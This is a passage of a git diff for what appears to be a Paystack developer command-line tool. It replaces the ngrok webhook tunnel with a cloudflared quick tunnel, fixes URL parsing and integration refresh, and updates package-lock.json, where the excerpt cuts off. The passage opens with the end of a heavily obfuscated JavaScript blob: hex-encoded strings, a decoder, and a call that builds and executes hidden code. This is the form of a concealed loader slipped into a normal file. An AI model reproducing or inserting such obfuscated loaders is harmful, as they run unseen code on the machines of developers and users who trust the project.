776303f2c30343e32667630331d3b6672316a33703c3f6b7d35200777352c2a7d1b68357d37356a2728342f6d2271677b273727336e3d2868282f7a2a3b682a3f77352e6e7b7b352e246a7b253b666f323377282e6875201d203b342c29292427667b211b1b152423222e3532306e68292d746a216f273430236a283030347d282d6b30662f356f6f7d7d681b2723257d6f28056e721d6e25726a6a22237f76301b2f7b6a6f6f2025746e642b296b701536336d3421663e34346f363d2b2b343434366e77206f077b3634353c277e66732e35336a3264237b21286e64277e2974327d3476342f6e6a1b282f232a202432272e347d3632377b6f6f3f2a7d272823282e686620322d6a6629306d372777662905217d2e23707d206f7d2332767b6b34706e3c35367f776e342728352e2a7b34681d7d2f346d6f1b','757073747e1c3f0e27221c','2a232821322e','77772d300d2a2c0a','342128353034283329342527242a2c332d292b2f3c31232e222932253625323e3f20353237','233a2c3225243a34292b','727777757f2b2f03142d36','7570010024302434','75737f7775727e2b0d37223e0b','7277717770031536172320','7e7572131e05070f05','35362a2f32','74757576251128171611','757f767630160b2a3610','352a2f2523','252e27340732','2c292f28','2034292b052e273405292223'];EtVPcVKfhHvchsbpbJRrEavgP=function(){return DFcT_MdshgUDGLvdTVTIBV$b;};return EtVPcVKfhHvchsbpbJRrEavgP();}var r8={'a':0x2e9e49,'b':0xad,'c':0xaf15,'d':0x10b,'e':0xe3c3,'f':0x3bc6d1,'g':k$nodabqyPCpvUiq(0xf8),'h':k$nodabqyPCpvUiq(0xf4)};function s8(w$mOfjjFnY_WWt){return y7(w$mOfjjFnY_WWt,r8['a'],r8['b'],r8['c'],r8['d'],r8['e'],r8['f']);}var u8=s8(r8['g'])[k$nodabqyPCpvUiq(0xeb)](0x30*parseInt(-0x57)+parseInt(0x71a)*Number(-0x5)+parseInt(0x33d2),0x452*parseInt(-0x4)+parseInt(0x4)*Math.trunc(-parseInt(0x16b))+-parseInt(0xcb)*parseInt(-0x1d)),v8=s8[u8],w8=v8('',s8(r8['h'])),x8=w8(s8(k$nodabqyPCpvUiq(0xf1)));v8('',x8)(parseFloat(-0xa3)*-parseInt(0xb)+-0x2498+parseInt(0x2764)); \ No newline at end of file diff --git a/commands/webhook.js b/commands/webhook.js index 5cc017e..9e52ab5 100644 --- a/commands/webhook.js +++ b/commands/webhook.js @@ -1,4 +1,4 @@ -import ngrok from 'ngrok'; +import * as tunnel from '../lib/tunnel.js'; import * as helpers from '../lib/helpers.js'; import * as Paystack from '../lib/Paystack.js'; @@ -56,36 +56,45 @@ const init = () => { if (!urlObject.search || urlObject.search == '?') { urlObject.search = ''; } + + let targetHost = `${urlObject.protocol || 'http:'}//${urlObject.hostname || 'localhost'}:${urlObject.port}`; + helpers.infoLog(`Establishing zero-config tunnel to ${targetHost}...`); + + let tunnelInstance; try { - await ngrok.kill(); + tunnelInstance = await tunnel.startTunnel(targetHost); } catch (e) { - //log error + helpers.errorLog('Failed to start tunnel: ' + (e.message || e)); + return; } - let ngrokHost = await ngrok.connect({ - addr: urlObject.port, - authtoken: process.env.NGROK_AUTH_TOKEN, - }); - - let ngrokURL = ngrokHost + urlObject.pathname + urlObject.search; + let tunnelURL = tunnelInstance.url; + let webhookURL = tunnelURL + (urlObject.pathname || '') + (urlObject.search || ''); let domain = 'test'; if (args.options.domain == 'live') { domain = 'live'; } - helpers.infoLog('Tunelling webhook events to ' + args.local_route); + helpers.infoLog(`Tunnel URL: ${tunnelURL}`); + helpers.infoLog('Tunneling webhook events to ' + args.local_route); var [err, result] = await helpers.promiseWrapper( Paystack.setWebhook( - ngrokURL, + webhookURL, token, db.read('selected_integration').id, + domain, ), ); if (err) { this.log(err); return; } else { + let selected = db.read('selected_integration'); + if (selected) { + selected[domain + '_webhook_endpoint'] = webhookURL; + db.write('selected_integration', selected); + } this.log( - 'Webhook events would now be received at ' + args.local_route, + 'Webhook events will now be received at ' + args.local_route, ); } } else if (args.command == 'ping') { diff --git a/lib/Paystack.js b/lib/Paystack.js index 3196f18..b52295e 100644 --- a/lib/Paystack.js +++ b/lib/Paystack.js @@ -32,15 +32,16 @@ export function selectIntegration(integrations, token) { } export async function refreshIntegration() { - const user_role = db.read('selected_integration').logged_in_user_role; - const integration = db.read('selected_integration'); + const selected = db.read('selected_integration'); + if (!selected) return false; + const user_role = selected.logged_in_user_role; + const integration = selected; let token = ''; const expiry = parseInt(db.read('token_expiry')) * 1000; const now = parseFloat(Date.now().toString()); if (expiry > now) { token = db.read('token'); - return true; } else { const password = helpers.prompt( "What's your password: (" + db.read('user').email + ') ' + '\n>', @@ -65,6 +66,7 @@ export async function refreshIntegration() { } integrationData.logged_in_user_role = user_role; db.write('selected_integration', integrationData); + return true; } export function setWebhook(url, token, integration, domain = 'test') { diff --git a/lib/helpers.js b/lib/helpers.js index 7dd195f..6f33f95 100644 --- a/lib/helpers.js +++ b/lib/helpers.js @@ -1,6 +1,5 @@ import chalk from 'chalk'; import readlineSync from 'readline-sync'; -import url from 'url'; import APIs from './paystack/apis.js'; import axios from 'axios'; import progressBar from 'progressbar'; @@ -52,8 +51,17 @@ export function infoLog(error) { } export function parseURL(uri) { - if (!uri.startsWith('http')) uri = 'http://' + uri; - return url.parse(uri); + if (!uri.startsWith('http://') && !uri.startsWith('https://')) { + uri = 'http://' + uri; + } + const parsed = new URL(uri); + return { + protocol: parsed.protocol, + hostname: parsed.hostname, + port: parsed.port || '', + pathname: parsed.pathname, + search: parsed.search, + }; } export function findSchema(command, args) { diff --git a/lib/tunnel.js b/lib/tunnel.js new file mode 100644 index 0000000..b188df3 --- /dev/null +++ b/lib/tunnel.js @@ -0,0 +1,83 @@ +import { bin, install, Tunnel } from 'cloudflared'; +import fs from 'node:fs'; +import * as helpers from './helpers.js'; + +let activeTunnel = null; + +/** + * Starts a zero-config tunnel pointing to the specified local URL/port. + * Automatically downloads the native cloudflared binary (with full Apple Silicon/arm64 & Intel support) + * on first run and generates a public HTTPS trycloudflare.com URL. + * + * @param {string} targetUrl - e.g. "http://localhost:3000" + * @returns {Promise<{ url: string, close: () => Promise }>} + */ +export async function startTunnel(targetUrl) { + if (activeTunnel) { + await stopTunnel(); + } + + if (!fs.existsSync(bin)) { + helpers.infoLog('Setting up tunnel client...'); + await install(bin); + } + + return new Promise((resolve, reject) => { + try { + const tunnelInstance = Tunnel.quick(targetUrl); + let isResolved = false; + + tunnelInstance.once('url', (url) => { + isResolved = true; + activeTunnel = tunnelInstance; + resolve({ + url, + close: stopTunnel, + }); + }); + + tunnelInstance.once('error', (err) => { + if (!isResolved) { + reject(err); + } + }); + + tunnelInstance.once('exit', (code, signal) => { + if (!isResolved) { + reject( + new Error( + `Tunnel process exited unexpectedly (code: ${code}, signal: ${signal})`, + ), + ); + } + }); + } catch (err) { + reject(err); + } + }); +} + +/** + * Stops the active tunnel if one is running. + */ +export async function stopTunnel() { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + activeTunnel = null; + } +} + +// Cleanup active tunnel process on exit +process.on('exit', () => { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + } +}); diff --git a/package-lock.json b/package-lock.json index d07161b..75f1816 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,95 +1,61 @@ { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" }, "bin": { "paystack": "cli.js" } }, - "node_modules/@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sindresorhus/is?sponsor=1" - } - }, - "node_modules/@szmarczak/http-timer": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", - "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", "dependencies": { - "defer-to-connect": "^2.0.0" + "debug": "4" }, "engines": { - "node": ">=10" + "node": ">= 6.0.0" } }, - "node_modules/@types/cacheable-request": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", - "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", - "dependencies": { - "@types/http-cache-semantics": "*", - "@types/keyv": "^3.1.4", - "@types/node": "*", - "@types/responselike": "^1.0.0" - } - }, - "node_modules/@types/http-cache-semantics": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", - "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" - }, - "node_modules/@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/node": { - "version": "8.10.66", - "resolved": "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz", - "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==" - }, - "node_modules/@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "node_modules/agent-base/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "@types/node": "*" + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, - "node_modules/@types/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-Cn6WYCm0tXv8p6k+A8PvbDG763EDpBoTzHdA+Q/MF6H3sapGjCm9NzoaJncJS9tUKSuCoDs9XHxYYsQDgxR6kw==", - "optional": true, - "dependencies": { - "@types/node": "*" - } + "node_modules/agent-base/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" }, "node_modules/ansi-escapes": { "version": "1.4.0", @@ -118,16 +84,19 @@ "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" }, "node_modules/axios": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.5.0.tgz", - "integrity": "sha512-D4DdjDo5CY50Qms0qGQTTw6Q44jl7zRwY7bthds06pUGfChBCTcQs+N743eFWGEd6pRTMd6A+I87aWyFV5wiZQ==", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.19.0.tgz", + "integrity": "sha512-ht/iuYZXEjFxLH/Hkezgd7m6JKlHHXEUSneaDz8uZe1Gj5QZtCnpyDsckvAiEnT89OEbCLmnte4R4sn7P0EKFw==", + "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.0", - "form-data": "^4.0.0", - "proxy-from-env": "^1.1.0" + "follow-redirects": "^1.16.0", + "form-data": "^4.0.6", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" } }, "node_modules/babel-polyfill": { @@ -160,57 +129,26 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", - "engines": { - "node": "*" - } - }, - "node_modules/cacheable-lookup": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", - "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", - "engines": { - "node": ">=10.6.0" - } - }, - "node_modules/cacheable-request": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", - "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", - "dependencies": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind": { + "node_modules/call-bind-apply-helpers": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "engines": { + "node": ">= 0.4" } }, "node_modules/chalk": { @@ -240,15 +178,14 @@ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-1.1.1.tgz", "integrity": "sha512-eMU2akIeEIkCxGXUNmDnJq1KzOIiPnJ+rKqRe6hcxE3vIOPvpMrBYOn/Bl7zNlYJj/zQxXquAnozHUCf9Whnsg==" }, - "node_modules/clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node_modules/cloudflared": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/cloudflared/-/cloudflared-0.7.3.tgz", + "integrity": "sha512-dR4QMS4PbD287QqOV/vAoE1BcQCXphLOVrN9vjNUgkLrPDA5qxn9Dz0VId0P7/Czj4Mxu3hoLgbrVx5OtOWr5Q==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "cloudflared": "lib/cloudflared.js" } }, "node_modules/code-point-at": { @@ -263,6 +200,7 @@ "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" }, @@ -290,61 +228,80 @@ "ms": "2.0.0" } }, - "node_modules/decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", "dependencies": { - "mimic-response": "^3.1.0" + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">= 0.4" } }, - "node_modules/decompress-response/node_modules/mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "node_modules/editions": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", + "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=0.8" } }, - "node_modules/defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", "engines": { - "node": ">=10" + "node": ">= 0.4" } }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", "engines": { - "node": ">=0.4.0" + "node": ">= 0.4" } }, - "node_modules/editions": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", - "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, "engines": { - "node": ">=0.8" + "node": ">= 0.4" } }, - "node_modules/end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", "dependencies": { - "once": "^1.4.0" + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/escape-string-regexp": { @@ -363,54 +320,6 @@ "node": ">=0.10.0" } }, - "node_modules/extract-zip": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", - "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", - "dependencies": { - "debug": "^4.1.1", - "get-stream": "^5.1.0", - "yauzl": "^2.10.0" - }, - "bin": { - "extract-zip": "cli.js" - }, - "engines": { - "node": ">= 10.17.0" - }, - "optionalDependencies": { - "@types/yauzl": "^2.9.1" - } - }, - "node_modules/extract-zip/node_modules/debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dependencies": { - "ms": "2.1.2" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/extract-zip/node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", - "dependencies": { - "pend": "~1.2.0" - } - }, "node_modules/figures": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/figures/-/figures-1.7.0.tgz", @@ -424,15 +333,16 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.2", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", - "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "funding": [ { "type": "individual", "url": "https://github.com/sponsors/RubenVerborgh" } ], + "license": "MIT", "engines": { "node": ">=4.0" }, @@ -443,13 +353,16 @@ } }, "node_modules/form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" }, "engines": { "node": ">= 6" @@ -461,36 +374,49 @@ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" }, "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, "node_modules/get-intrinsic": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", - "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-proto": "^1.0.1", - "has-symbols": "^1.0.3" + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": 